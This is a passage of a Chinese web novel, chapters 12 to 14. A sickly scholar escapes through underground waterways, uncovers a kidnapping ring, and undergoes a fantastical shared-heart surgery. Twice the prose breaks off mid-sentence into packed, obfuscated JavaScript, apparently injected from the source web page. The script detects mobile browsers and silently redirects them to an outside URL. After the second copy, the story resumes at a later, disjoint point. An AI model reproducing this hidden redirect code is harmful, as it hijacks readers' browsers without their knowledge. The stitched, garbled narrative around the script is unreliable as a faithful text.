“不……”江清砚艰难开口，“一起……” “听话！”谢云辞厉喝，猛地一鞭抽在江清砚的马臀上，“往左走，我引开他们！” 马匹吃痛，嘶鸣一声，朝着左侧小路狂奔而去。江清砚回头，只见谢云辞调转马头，朝着追兵冲了过去！ 月色下，那道身影单薄却决绝。 江清砚的眼睛模糊了。 他死死攥紧缰绳，伏在马背上，任由马匹带着他冲进黑暗。 胸口的痛越来越烈，意识渐渐涣散。 但在彻底失去意识前，他脑中只有一个念头: 谢云辞，你要活着。 一定要活着。 因为你说过，要护我到京城。 君子一诺，千金不换。 你不能食言。 12. 第 12 章 第十二章水下迷城 马匹冲过岔路，冲进一片黑压压的槐树林。 江清砚几乎是从马背上滚下来的，落地时眼前金星乱冒，胸口像是被重锤猛击，痛得连呼吸都困难。他蜷缩在厚厚的落叶上，一只手死死按住心口，另一只手颤抖着去摸怀中的药瓶。 药瓶空了。 最后一粒药，半个时辰前吃了。 他绝望地闭上眼，能感觉到生命的温度正从四肢百骸迅速流失。远处隐约传来马蹄声和呼喝声，追兵没有完全被谢云辞引开，至少有一队人朝着这个方向追来了。 不能死在这里。 这个念头像淬了毒的针，刺进他涣散的意识里。他挣扎着爬起，手撑在地上，摸到了一块尖锐的石头。 对了……石头…… 他想起医书上记载的方子——在特定穴位施以重刺，可激发心脉潜能，暂续生机。但那是以损耗寿命为代价的禁术，若非绝境，绝不可用。 但现在，就是绝境。 江清砚咬紧牙关，用尽最后力气，将石头尖锐的一端对准自己胸口几处大穴，狠狠刺下！ 剧痛！ 像是有什么东西在体内炸开，血液瞬间沸腾。他眼前一片血红，喉咙里涌上腥甜，却奇迹般地感觉到那股濒死的窒息感退去了些，四肢重新有了力气。 但这不是生机，是回光返照。他知道，自己最多只有半个时辰。 他踉跄站起，牵过马，翻身上去。马儿似乎感受到主人的濒死状态，焦躁地刨着蹄子。江清砚伏在马背上，低声道:“走……往有水的地方走……” 马儿通人性，打了个响鼻，载着他朝树林深处跑去。 槐树林尽头，果然有水声——不是溪流，而是更大的水声，轰隆隆的，像是……瀑布？ 江清砚勉强抬头，透过枝叶缝隙，看到前方山崖上挂着一道白练，在月光下泛着银光。瀑布下方是个深潭，潭水幽深，映着月光，黑沉沉的像块墨玉。 而潭边，赫然立着一块石碑，碑上刻着三个字: 断龙潭。 江清砚心中一动。他记得地图上标注过——断龙潭是断龙峡的一部分，潭底有暗河与运河相通。若是…… 身后追兵的马蹄声越来越近，火把的光已能透过树林。 来不及多想了。 江清砚翻身下马，拍了拍马颈:“走，自己逃命去。” 马儿蹭了蹭他的手，转身跑进树林深处。江清砚则快步走到潭边，深吸一口气，纵身跃入冰冷的潭水！ 水瞬间淹没头顶，刺骨的寒意像无数根针扎进皮肤。他屏住呼吸，凭着最后一点清醒的意识，朝着潭底潜去。 月光透过水面，勉强照亮水下世界。潭底怪石嶙峋，水草摇曳，果然有一条暗河的入口，黑黝黝的，像巨兽张开的口。 他朝着暗河入口游去，却忽然感觉小腿一紧——被水草缠住了！ 他奋力挣扎，但体力早已耗尽，眼前阵阵发黑。就在意识即将涣散的瞬间，一只手从黑暗中伸出，抓住了他的胳膊！ 那只手很有力，将他从水草中拽出来，拖进了暗河入口。 暗河里一片漆黑，水流湍急，带着他向前冲去。那只手始终抓着他，带着他在水中转折、避让，像是在这漆黑的水道中也能视物。 不知过了多久，水流渐缓，前方出现微弱的光。他被拖出水面，放在一处石台上。 “咳咳……”江清砚剧烈咳嗽，吐出几口冰冷的潭水。视线模糊，只能隐约看到身旁蹲着个人影。 “你不要命了？”那人声音低沉，带着水汽的回音。 江清砚勉强抬眼，终于看清对方——是个浑身湿透的青年，约莫二十出头，眉眼清秀，却透着股与年龄不符的沉稳。他穿着粗布短打，腰间别着把匕首，脚上是特制的水靠。 “你……是谁？”江清砚哑声问。 “我叫水生，是这水下的‘清道夫’。”青年说着，伸手探了探江清砚的额头，眉头皱起，“你在发烧，心脉也很乱……你用了禁术？” 江清砚一惊，没说话。 水生也不追问，从怀中掏出一个小皮囊，倒出两粒药丸递给他:“吞了，能护住心脉三个时辰。三个时辰后若得不到救治，神仙也难救。” 药丸带着淡淡的腥苦味，江清砚没有犹豫，接过吞下。片刻后，胸口那股灼痛果然缓解了些，呼吸也顺畅了许多。 “多谢……”他低声道。 水生摆摆手，站起身，打量着这个地下空间。这里显然是暗河中的一个天然溶洞，洞壁湿滑，顶上垂挂着钟乳石，滴滴答答地往下滴水。洞里有微光，是从一个洞口透进来的——那洞口外，隐约能看到粼粼的水光，还有……船只的影子？ “外面是运河？”江清砚问。 “嗯，断龙峡段。”水生点头，“这里是水鬼帮用来藏匿‘货物’的秘窟之一，我盯了很久了。” 水鬼帮。 江清砚猛地看向他:“你知道水鬼帮？” “何止知道。”水生冷笑，“我一家五口，都是被水鬼帮害死的。我爹是漕工，因为不肯帮他们运‘私货’，被沉了江。我娘和妹妹……”他顿了顿，声音发哑，“被掳走了，至今下落不明。” 他说着，转头看向江清砚:“你呢？你又是怎么惹上他们的？” 江清砚沉默片刻，简略说了老君洞和账本的事。水生听完，眼神变得复杂。 “原来你就是那个揭了水鬼帮老巢的书生。”他低声道，“我听说过你。蓟州码头的兄弟传消息说，有个病弱的书生和六扇门的总捕头联手，端了老君洞，还带走了重要的账本。” “账本在谢云辞那里。”江清砚急切地问，“你看到他了吗？他引开追兵，不知……” “他没事。”水生打断他，“我的人看到他往京城方向去了，追兵没追上。但他一个人带着账本进京，恐怕路上还会有埋伏。” 江清砚稍稍松了口气，却又揪起心来。京城还有三百里，这一路上…… “我要去找他。”他挣扎着要起身。 “就你现在这样？”水生按住他，“三个时辰后禁术反噬，你连站都站不起来，怎么找？” 江清砚语塞。 水生看着他苍白如纸的脸，忽然叹了口气:“算了，救人救到底。我送你一程。” “你？” “我熟悉水路。”水生道，“从断龙潭顺暗河下去，有一段废弃的漕运水道，直通京城郊外的白河。走水路，比陆路快，也安全。” 江清砚眼睛一亮:“当真？” “我骗你做什么。”水生站起身，走到洞口，“不过那条水道年久失修，有些地方塌了，得潜水过去。你现在的身体……” “我能撑住。”江清砚斩钉截铁。 水生深深看了他一眼，点了点头:“好。跟我来。” 他率先钻出洞口，江清砚紧随其后。洞口外是一段狭窄的水道，仅容一人通过，两侧石壁长满青苔，滑不留手。水道里水深及腰，冰冷刺骨。 两人一前一后在水中跋涉，走了约莫一炷香时间，前方出现岔路。水生毫不犹豫地选择了左边那条更窄的。 “右边那条是死路，被水鬼帮布了陷阱。”他解释道，“左边这条虽然难走，但安全。” 江清砚点头，忽然想起什么:“水生，你刚才说这里是水鬼帮藏匿‘货物’的秘窟之一……还有别的秘窟？” “多着呢。”水生冷笑，“断龙峡这一段，暗河纵横，天然溶洞无数。水鬼帮在这里经营多年，把好些溶洞都改造成了仓库和牢房。我追踪他们三年，也只摸清了七八处。” “那……你可知道‘药庐’？” 水生脚步一顿，猛地回头:“你去过药庐？” “昨夜潜入，听到了些东西。”江清砚将所见所闻简要说了一遍，尤其是观澜书院和都水司的线索。 水生的脸色越来越沉。 “难怪……”他喃喃道，“难怪他们掳人还要挑有才学的，还要教他们礼仪、口音……原来是在为观澜书院输送‘门生’。” 他顿了顿，声音更冷:“至于都水司……三年前负责漕运稽查的周郎中，就是在断龙峡‘遇匪身亡’的。当时我就在附近，亲眼看到他的官船被凿沉，尸体……根本没找到。” 江清砚心头一震:“你是说……” “周郎中是清官，查出了水运上的猫腻，所以被灭口。”水生咬牙道，“后来接管漕运的都水司里，就有人和水鬼帮勾搭上了。这几年他们运‘私货’越来越肆无忌惮，就是因为上头有人。” 暗河水声潺潺，衬得他的声音格外清晰。 江清砚沉默良久，忽然问:“水生，你为何不报官？” “报官？”水生笑了，笑声里满是苦涩，“报给谁？县衙？府衙？还是直接报刑部？你知道水鬼帮背后牵扯了多少人？我若贸然去报，恐怕还没走出衙门，就‘意外’死了。” 他说着，看向江清砚:“所以我才说，你胆子真大。敢揭这个盖子，还敢带着账本进京。你知不知道，这一路上有多少人想要你的命？” “知道。”江清砚平静地说，“但有些事，总要有人去做。” 水生看着他，许久，缓缓点了点头。 “好。”他说，“我帮你。不是为了你，是为了给我爹娘报仇。” 两人继续前行。水道越来越窄，水也越来越深，到最后只能潜水通过。水生递给江清砚一根中空的芦苇管，让他咬着换气。 “前面那段完全在水下，约莫三十丈长。憋住气，跟紧我。”水生嘱咐道。 江清砚点头，将芦苇管咬在口中，深吸一口气，潜入水中。 水下世界一片漆黑，只有水生手中提着一盏特制的水下灯笼，发出幽幽的绿光，勉强照亮前方几尺。水草摇曳，怪石嶙峋，偶尔有鱼从身边游过。 江清砚紧紧跟着那道绿光，胸口越来越闷，心口的剧痛又开始发作。他知道，禁术的时间快到了。 但他不能停。 他咬着芦苇管，拼命划水，眼前阵阵发黑。就在他几乎要晕过去的瞬间，前方忽然一亮——出水了！ 水生将他拖上岸，两人躺在一块巨大的岩石上，大口喘息。 这里又是一个溶洞，但比之前那个大得多，洞顶有裂隙透进天光，已是黎明时分。洞中堆着些木箱、麻袋，还有……几具白骨。 “这里是水鬼帮的一个仓库，废弃很久了。”水生坐起身，环视四周，“再往前走一段，就是废弃的漕运水道入口。从那里可以直通白河。” 江清砚挣扎着坐起，看向那些白骨。白骨有七八具，衣衫早已烂尽，但从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863488|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨骼形态看，有男有女，甚至有孩童。 “这些是……”他声音发颤。 “是被掳来的人。”水生低声道，“‘不合格’的，或者‘不听话’的，就被丢在这里自生自灭。我找到这里时，他们已经死了很久了。” 江清砚闭上眼睛，不忍再看。 这水下的迷城，究竟吞噬了多少无辜的生命？ “走吧。”水生站起身，“天快亮了，我们必须在天亮前进入水道，否则容易被发现。” 两人继续前行。这个溶洞的另一端果然连着一条人工开凿的水道，宽约两丈，水深及胸，两侧石壁整齐，还留着当年架设纤道的木桩痕迹，只是都已腐朽。 水道很长，一眼望不到头。水生提着灯笼在前引路，江清砚咬牙跟着，每一步都像踩在刀尖上。 走了约莫半个时辰，前方忽然传来水声——不是流水声，而是……划水声？还有人声？ 水生立刻吹熄灯笼，拉着江清砚躲到一处石壁凹陷处。两人屏息静听。 “快点！天亮前必须把货卸完！”一个粗嘎的男声。 “老大，这次‘货’成色不错啊，都是读书人。”另一个声音谄媚道。 “废话少说！赶紧搬！观澜书院那边催得紧，月底前必须送到！” 观澜书院！ 江清砚心中一凛，悄悄探头看去——只见前方水道岔口处，停着两艘黑船，正是老君洞那种“鬼船”。十几个黑衣人正从船上往下搬木箱，木箱很沉，两个人抬一个都吃力。 而木箱的缝隙里，隐约传出压抑的呜咽声。 里面是人。 “他们在转运‘货物’。”水生在他耳边低声道，“看来老君洞被端了，他们换了地方。” 江清砚握紧了拳。他看着那些被当做货物搬运的木箱，看着黑衣人粗暴的动作，胸中一股怒火熊熊燃烧。 但他不能冲动。他现在连站都站不稳，冲出去就是送死。 “记下这里的位置。”水生低声道，“等到了京城，报了官，带人来端了它。” 江清砚点头，强迫自己冷静下来。他仔细观察周围环境，记住岔口的位置、船只的数量、黑衣人的特征…… 忽然，一个黑衣人朝他们藏身的方向走来，边走边解裤带，显然是要小解。 越来越近。 江清砚的心提到了嗓子眼。水生已摸出匕首，眼神凌厉。 就在黑衣人即将发现他们的瞬间，岔口另一侧忽然传来急促的哨声！ “有情况！撤！”为首的黑衣人厉喝。 黑衣人立刻丢下木箱，跳上船，黑船迅速驶入黑暗的水道，消失在拐弯处。 只留下那几个木箱，孤零零地搁在岸边。里面的呜咽声更清晰了。 水生和江清砚对视一眼，快步走过去。木箱用铁条钉死，水生用匕首撬开一条缝——里面果然是几个人，有男有女，都被绑着手脚，堵着嘴，眼中满是惊恐。 “别怕，我们是来救你们的。”水生低声道，开始撬箱子。 江清砚也帮忙，但他的力气实在太小，撬了几下就眼前发黑，几乎晕倒。水生连忙扶住他:“你歇着，我来。” 他动作很快，不多时就将几个木箱全部撬开，救出里面的人。一共七个，五个书生打扮，两个女子，都是年轻貌美。 “多……多谢恩公……”一个书生颤抖着道谢。 “别多说，先离开这里。”水生打断他，看向江清砚，“能走吗？” 江清砚咬牙点头。 一行人沿着水道继续前行。获救的人虽然虚弱，但求生意志强烈，互相搀扶着跟上。 走了约莫一刻钟，前方终于出现亮光——不是天光，而是火把的光。还有整齐的脚步声，甲胄碰撞声。 是官兵！ “前面的人！站住！”一声厉喝。 水生脸色一变，正要拉着江清砚躲藏，却见江清砚忽然挣脱他的手，踉跄着走上前，高举双手: “学生江清砚，润州举子！身后是被水鬼帮掳掠的无辜百姓！求官爷搭救！” 火把的光照亮了他的脸，苍白，虚弱，却带着不容置疑的坚定。 为首的军官快步上前，打量他片刻，又看了看他身后那群狼狈的人，神色缓和了些:“你真是举子？路引呢？” 江清砚取出早已湿透却还勉强能辨的路引和学籍文书。军官查看后，点了点头。 “你们怎么会在这里？” 江清砚简略说了被追杀、跳水逃生、发现水鬼帮转运“货物”的事。军官越听脸色越凝重。 “此事非同小可。”他沉声道，“本官是京畿卫戍营的校尉，奉令巡查白河水道。既然遇上，自当管到底。”他转身吩咐手下，“护送这些人出水道，安置妥当。再调一队人，去刚才那个岔口搜查！” 士兵们应声行动。江清砚终于松了口气，身体一软，向后倒去。 水生眼疾手快扶住他。 “你……”水生看着他惨白的脸，眼中闪过复杂的神色。 “我没事……”江清砚虚弱地笑了笑，“总算是……逃出来了。” 他抬起头，看向水道出口的方向。那里，天光越来越亮。 京城，快到了。 谢云辞，你还好吗？ 账本，一定要送到啊…… 13. 第 13 章 第十三章真相与抉择 白河码头，晨雾未散。 京畿卫戍营的营房里，江清砚裹着厚实的军毯，捧着一碗热姜汤小口啜饮。禁术的反噬比预想的更凶猛，他浑身冷得像冰块，指尖青紫，连碗都端不稳。 水生坐在他对面，已换上了干净的粗布衣裳，头发还湿着。他盯着江清砚看了许久，忽然开口:“你活不过今天。” 语气平静，像在陈述一个事实。 江清砚手一颤，姜汤洒了些出来。他放下碗，抬起头，脸色苍白得像纸，眼神却依然清亮。 “我知道。”他说。 禁术透支的是心脉本源，三个时辰已是极限。而此刻，距离他刺穴续命，已过去了两个半时辰。 营房外传来脚步声，是那位卫戍营的校尉——姓张，是个国字脸的中年汉子，行事雷厉风行。他大步走进来，面色凝重。 “江公子，你方才说的那些事，我已派人快马加急报往刑部。”他在桌前坐下，目光如炬，“但有些细节，还需再确认一遍——你说水鬼帮与观澜书院、都水司都有牵连，可有实证？” 江清砚从怀中取出那块从药庐得来的瓷片，还有从水鬼帮草偶身上撕下的布角，推了过去。 “瓷片上的莲花印记，是都水司某位官员的私徽。布角上的‘观澜’字样，是观澜书院学子服的标记。”他声音虚弱，却字字清晰，“学生亲耳听见药庐的主事人说，要为观澜书院输送‘文货’，且提到都水司有人遮掩此事。” 张校尉拿起瓷片和布角细看，眉头越皱越紧。半晌，他将东西小心收起，沉声道:“此事干系重大，我会上呈的时候一并附上。但是江公子……” 他顿了顿，看着江清砚:“你如今的状况，恐怕撑不到刑部审理此案的时候了。” 这话说得直白，却也是实情。江清砚默然片刻，轻声道:“学生只求真相大白，还那些枉死之人一个公道。至于我……生死有命。” 张校尉看着他，眼中闪过一丝敬佩。他站起身，抱拳道:“江公子高义，张某佩服。你放心，此事我必一查到底。” 说完，他转身大步离去，甲胄铿锵作响。 营房里重归寂静。 水生忽然道:“我认识一个大夫，或许能救你。” 江清砚抬眼看他。 “他在京城，是个怪人，但医术高明。”水生站起身，“你若信我，我这就带你去。” 江清砚没有立刻回答。他低头看着自己的手，指尖的青紫已蔓延到了手腕。他知道，自己的时间不多了。 “谢云辞……”他喃喃道。 “他比你命硬，死不了。”水生语气平淡，“倒是你，再耽搁，真就死了。” 江清砚苦笑。是啊，他连自己都救不了，还能担心谁？ “好。”他终于点头，“麻烦水兄。” 水生二话不说，扶起他就往外走。营房外的士兵得了张校尉的吩咐，并未阻拦，还备了一辆马车。 马车驶离码头，进入京城。晨雾渐散，街道两旁的店铺陆续开门，早点摊子的热气混着食物的香气飘进车厢。行人渐渐多了起来，叫卖声、车马声、孩童的嬉闹声……京城的繁华扑面而来。 江清砚靠在车厢壁上，透过车帘缝隙看着这一切。这就是京城，他梦寐以求要来的地方。 可如今来了，却是以这样的方式。 马车穿过几条街巷，在一处偏僻的胡同口停下。水生扶江清砚下车，胡同很窄，两侧是高墙，墙头探出些枯黄的藤蔓。尽头有扇不起眼的木门，门楣上挂着块旧木牌，刻着两个字: 悬壶。 水生上前叩门，三长两短。片刻后，门开了条缝，一个苍老的声音传出:“谁？” “水生，带了个病人。”水生低声道。 门开了，开门的是个须发皆白的老者，穿着半旧的灰布袍，眼神却锐利得像鹰。他目光在江清砚身上一扫，眉头立刻皱起。 “禁术反噬，心脉将枯。”老者沉声道，“抬进来。” 水生扶着江清砚进门。院子很小，栽着些草药，空气里弥漫着浓重的药香。正屋是间诊室，摆设简单，却异常干净。 老者让江清砚躺在榻上，三指搭上他的腕脉，闭目诊了许久。再睁开眼时，脸色凝重。 “你这心疾是天生的？”他问。 “是。”江清砚答。 “禁术是谁教你的？” “书上看的。” 老者眼神一厉:“胡闹！那禁术叫‘燃血续命’，是以燃烧心脉精血为代价，强行续命三个时辰！三个时辰后，心脉枯竭，神仙难救！你看的是哪门子的邪书？！” 江清砚被他的气势慑住，哑口无言。 水生在一旁道:“薛大夫，还有救吗？” 薛大夫——也就是那老者——站起身，在屋里踱了几步，才道:“有，但风险极大。” “什么法子？”水生问。 “换心。” 两个字，石破天惊。 江清砚猛地睁大眼，水生也愣住了。 “换……心？”水生声音发颤，“这怎么可能……” “寻常大夫自然不可能，但我可以。”薛大夫转身，目光如电，“我师承前朝太医令，专攻外科奇术。换心之法，我研究了三十年，有七成把握。” 他顿了顿，看向江清砚:“但这法子，需要一个条件——必须有活人的心，且要与你生辰八字、血脉体质完全相合。否则，换了也是死。” 活人的心。 江清砚脸色惨白。他怎么可能为了自己活命，去要别人的心？ “不行……”他挣扎着要起身，“我宁可死……” “躺下！”薛大夫厉喝，“你以为我是要你去杀人取心？我还没那么丧心病狂！” 江清砚怔住。 薛大夫从柜中取出一本泛黄的古籍，翻到某一页，指着上面的图文:“你看这里——‘若得将死之人心，以奇术续其生机，移于病者体内，两命相连，可共续一命’。这法子的关键在于，供心之人必须是濒死之身，且自愿献心。如此，他的生机未绝，你的心脉能借其延续。但代价是……” 他抬起头，一字一句道:“从此，你与他性命相连。他若死，你也死。你若有恙，他亦受损。且每月月圆之夜，心脉逆冲，痛苦难当。你们要同生共死，祸福与共。” 同生共死，祸福与共。 江清砚愣住了。 这听起来像是……某种诡异的共生之术？ “可有……成功先例？”水生迟疑地问。 薛大夫沉默片刻，缓缓道:“三十年前，我师父为一对孪生兄弟施过此术。哥哥坠马重伤，心脉尽碎；弟弟自愿献心。手术成了，兄弟二人共享一命，活了十五年。但后来……” 他顿了顿，声音低沉:“后来哥哥卷入朝堂争斗，被政敌下毒。毒发时，弟弟同时心脉爆裂，两人……同日而死。” 屋子里死一般寂静。 窗外的阳光照进来，将空气中的尘埃照得纤毫毕现。 江清砚闭上眼，许久，才轻声道:“多谢薛大夫好意。但学生……不能如此。” “为何？”薛大夫皱眉，“你不想活？” “想。”江清砚睁开眼，眼神清澈，“但学生不能为了自己活命，将另一人的性命绑在身上。况且……这法子太过凶险，七成把握，终究还有三成可能会死。若手术失败，不仅我死，供心之人也会死。两条人命，学生赌不起。” 他说得很平静，却字字千钧。 薛大夫看着他，眼中闪过一丝复杂的神色。他行医数十年，见过太多为求活命不择手段的人，却第一次见到这样……近乎迂腐的坚持。 “你可知道，你活不过今日午时？”薛大夫沉声道。 “知道。”江清砚点头，“所以学生想在死前，再做一件事。” “什么事？” “去刑部，将水鬼帮的案子说清楚。”江清砚挣扎着坐起身，“账本在谢云辞那里，但许多细节只有我知道。药庐的位置，观澜书院的牵扯，还有都水司的疑点……这些，我必须亲口告诉主审官。” 他说着，看向水生:“水兄，可否再帮我一次？送我去刑部。” 水生张了张嘴，想说什么，却终究化作一声叹息。 “你这个人……真是傻。”他摇头，却还是扶起了江清砚，“走吧。” 薛大夫站在门口，看着两人互相搀扶着走出院子。阳光洒在那书生苍白却挺直的脊背上，竟有种悲壮的美。 “等等。”薛大夫忽然开口。 两人回头。 薛大夫从怀中取出一个小玉瓶，走过去塞进江清砚手里:“这是‘九转护心丹’，能暂时稳住你的心脉，保你半日性命。但半日之后……药石罔效。” 江清砚握紧玉瓶，深深一揖:“多谢薛大夫。” 薛大夫摆摆手，转身回了屋，关上了门。 马车重新上路，朝着刑部衙门驶去。 车厢里，江清砚吞下那颗九转护心丹。丹药入腹，一股暖流迅速蔓延至四肢百骸，胸口的剧痛果然缓解了许多。他知道，这是最后的回光返照。 半日。 他只有半日时间了。 “水生。”他忽然开口，“若我死了，麻烦你……帮我找找谢云辞。告诉他，账本一定要送到，水鬼帮的案子……一定要查到底。” 水生沉默片刻，点了点头。 “还有……”江清砚顿了顿，“告诉他，能与他同行一程，是我之幸。” 水生别过脸去，声音有些哑:“你自己跟他说。” 江清砚笑了笑，没再说话。 马车穿过一条又一条街道，终于在一座庄严的官衙前停下。黑漆大门紧闭，门楣上高悬“刑部”二字，笔力遒劲，肃穆威严。 水生扶着江清砚下车。两人刚踏上台阶，门内便走出两个衙役，厉声喝问:“什么人？刑部重地，闲人免近！” 江清砚取出张校尉给的文书和路引:“学生江清砚，有要案禀报。” 衙役接过文书查验，脸色稍缓:“等着，我去通报。” 不多时，一个身着青色官袍的中年官员快步走出，目光在江清砚身上一扫，眉头皱起:“你就是江清砚？” “正是学生。” “进来吧。”官员转身引路，“尚书大人正在堂上，听说你来了，要亲自问话。” 江清砚心中一凛。刑部尚书亲自过问，看来此事果然引起了重视。 他跟着官员穿过重重门廊，来到正堂。堂上高坐一人，年约五旬，面容清癯，眼神锐利如刀，正是刑部尚书李崇明。 堂下还站着几个人，其中一人转过身来——是谢云辞！ 他一身风尘，衣袍上还带着血迹，显然也是刚到不久。两人目光相撞，谢云辞眼中闪过瞬间的震惊，随即是难掩的担忧。 江清砚对他轻轻点了点头，示意自己还好。 “学生江清砚，拜见尚书大人。”他躬身行礼，声音虽弱，却清晰。 李尚书打量他片刻，缓缓道:“你就是那个揭了水鬼帮老巢的书生？” “学生不敢居功，此乃蓟州陈捕头与谢总捕之功。” “账本已经呈上。”李尚书指了指案头那几箱账簿，“谢总捕已将案情大致禀报。但有些细节，他说只有你知道。” 江清砚深吸一口气，将如何发现老君洞、如何夜探药庐、如何在水道中见到水鬼帮转运“货物”、以及观澜书院和都水司的线索，一五一十道来。他讲得很细，从账本上的特殊标记，到药庐中的对话，再到那些被当做“货物”的举子的惨状…… 堂上一片寂静，只有他虚弱却坚定的声音回荡。 李尚书的脸色越来越沉，当听到“观澜书院”四个字时，眼中更是寒光一闪。 “你确定， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“第一，水鬼帮的案子，请大人一查到底，还那些枉死之人一个公道。” “本官答应你。” “第二……”江清砚看向谢云辞，“谢兄的仇，请大人……酌情相助。” 谢云辞浑身一震，不可置信地看着他。 江清砚却对他笑了笑，笑容里有歉然，有不舍，还有……某种说不清道不明的情绪。 然后，他转身，对着李尚书深深一揖。 “学生……别无他求。” 话音落下，他身体晃了晃，向后倒去。 “江清砚！”谢云辞一个箭步冲上前，接住了他倒下的身体。 入手一片冰凉。 江清砚闭着眼，呼吸微弱得像风中残烛。 “大夫！快叫大夫！”李尚书厉喝。 衙役们慌忙奔出。谢云辞抱着江清砚，手在颤抖。他从未如此慌乱过，哪怕面对生死关头。 怀中的人轻得像片羽毛，苍白得像张纸，仿佛下一秒就会消失。 “撑住……”谢云辞低声嘶吼，“你答应过要陪我走到京城的……你不能食言……” 江清砚似乎听到了，睫毛颤了颤，却终究没能睁开眼。 堂外，急促的脚步声传来。 是薛大夫，水生带着他赶来了。 “让开！”薛大夫快步上前，三指搭上江清砚的腕脉，脸色骤变，“心脉将竭……来不及了……” “你不是说有换心之法吗？！”谢云辞猛地抬头，眼中布满血丝，“救他！无论什么代价，我付！” 薛大夫看着他，又看看怀中的江清砚，忽然问:“你愿不愿与他……同生共死？” 谢云辞怔住了。 同生共死。 四个字，重如千钧。 堂上所有人都屏住了呼吸。 李尚书沉声道:“薛大夫，此法可行？” “七成把握。”薛大夫盯着谢云辞，“但要供心之人濒死且自愿。你如今生龙活虎，不符合条件。除非……” “除非什么？” “除非你服下‘假死药’，进入濒死状态。但假死药极其凶险，服下后三个时辰内若不能换心成功，你会真死。而即便成功，从此你与他性命相连，祸福与共，每月月圆之夜心脉逆冲，痛苦难当。你可愿意？” 谢云辞没有丝毫犹豫。 “愿意。” 他甚至没有问“假死药”是什么，没有问手术有多痛苦，没有问以后会怎样。 他只说，愿意。 为了这个萍水相逢、认识不到十日的书生。 薛大夫深深看了他一眼，从药箱中取出一个漆黑的瓷瓶:“服下，半个时辰后进入假死状态。我会立刻手术。” 谢云辞接过瓷瓶，拔开塞子，仰头就要灌下。 “等等。”李尚书忽然开口，“谢云辞，你可想清楚了？此术若成，你的命就绑在他身上了。他是病弱之躯，你……” “我想清楚了。”谢云辞打断他，目光落在江清砚苍白的脸上，“他救过我的命。如今，我还他。” 说罢，他仰头，将瓶中液体一饮而尽。 苦涩的药液滚入喉咙，迅速化作一股寒意，蔓延至四肢百骸。他感觉到自己的心跳在变慢，呼吸在变浅，意识渐渐模糊…… 最后看到的，是江清砚安静的睡颜。 然后，黑暗吞噬了一切。 薛大夫立刻指挥衙役将两人抬进后堂早已准备好的净室。手术需要绝对安静，闲人免进。 李尚书站在堂上，看着那扇紧闭的门，久久不语。 水生靠在门框上，抱着胳膊，眼神复杂。 堂外，阳光正好。 而门内，一场关乎两条生命的生死博弈，刚刚开始。 半日。 他们只有半日时间。 若手术失败，今日刑部后堂，将多出两具尸体。 若成功…… 那将是另一段故事的开始。 14. 第 14 章 第十四章赠令别离 净室内药香弥漫，混着淡淡的血腥气。 两张并排的木床上，谢云辞和江清砚静静躺着，皆面色惨白，呼吸微弱得几乎看不见胸口的起伏。薛大夫净了手，站在两张床之间，目光沉凝如水。 他身后站着两个年轻的助手，是刑部从太医院临时调来的太医学生，虽有些紧张，但手法还算娴熟，正按照薛大夫的吩咐准备器械:银针、丝线、薄刃小刀、特制的缝合钩针……还有几瓶颜色各异的药水，在烛光下泛着诡异的色泽。 “师父，一切都备好了。”其中一个助手低声道。 薛大夫点点头，走到谢云辞床边，三指再次搭上他的腕脉——脉搏已近乎停滞，但还未完全消失，正是假死状态的最佳时机。 “开始吧。”他沉声道。 助手们立刻行动。一人用银针封住谢云辞几处大穴，防止手术过程中血脉逆行；另一人则开始消毒器械。薛大夫则走到江清砚床边，轻轻解开他的衣襟，露出苍白瘦削的胸膛。 那颗心脏在单薄的胸腔下微弱地跳动，像即将熄灭的烛火。 薛大夫深吸一口气，从器械盘中拿起那柄薄如柳叶的小刀。刀锋在烛光下泛着寒芒，他手腕稳得像磐石，在江清砚心口上方划下一道精准的切口—— 皮肉分开，露出森白的肋骨。特制的撑开器固定住创口，胸腔内的景象一览无余:那颗心脏果然已呈现灰败之色，表面布满细密的裂纹，每一次搏动都显得异常艰难。 “记录。”薛大夫目不转睛地盯着那颗心脏，“先天心疾导致心肌发育不全，心室壁薄弱，多处陈旧性瘢痕。能活到今日，已是奇迹。” 助手快速记录。薛大夫又转向谢云辞——同样的切口，同样的撑开，胸腔内那颗心脏却截然不同:强健、饱满、搏动有力，只是此刻因假死药而缓慢下来。 “供心者体魄强健，心脏功能完好。”薛大夫继续口述，“心室肌肉厚度正常，瓣膜完整，无病变迹象。是上佳的供体。” 他顿了顿，看向两个助手:“接下来是手术最关键的一步——离体、移植、缝合。记住，心脏离体后必须在半刻钟内完成移植，否则生机断绝。缝合必须严丝合缝，不能有丝毫泄露。明白吗？” “明白！”两个助手齐声应道，额头已沁出汗珠。 薛大夫不再多言，重新净手，取出一副薄如蝉翼的丝质手套戴上。这是他用特制药水浸泡过的，能最大程度减少接触感染。 “离体开始。” 他的声音冷静得像在说今日的天气，手下动作却快如闪电。特制的止血钳夹住主要血管，薄刃小刀精准地切断心脏与身体的连接——先谢云辞，再江清砚。 两颗心脏被小心取出，放在特制的玉盘里，以药水维持着最后一点生机。 江清砚的心脏灰败萎缩，只有孩童拳头大小；谢云辞的心脏饱满有力，还在微弱地搏动。 “移植。” 薛大夫将谢云辞的心脏放入江清砚的胸腔。他的手指稳得惊人，在狭小的空间里穿针引线，将血管一根根对接、缝合。细如发丝的羊肠线在烛光下几乎看不见，但在他手中仿佛有了生命，灵巧地穿梭、打结。 时间一分一秒过去。 净室内只有器械碰撞的轻响，和几人压抑的呼吸声。窗外天色渐暗，已是黄昏时分。 终于，最后一根血管缝合完毕。 薛大夫直起身，长长吐出一口气，额头上已满是汗珠。助手连忙为他擦拭。 “检查吻合处，有无渗漏。” 助手仔细检查，确认每一处缝合都严丝合缝。 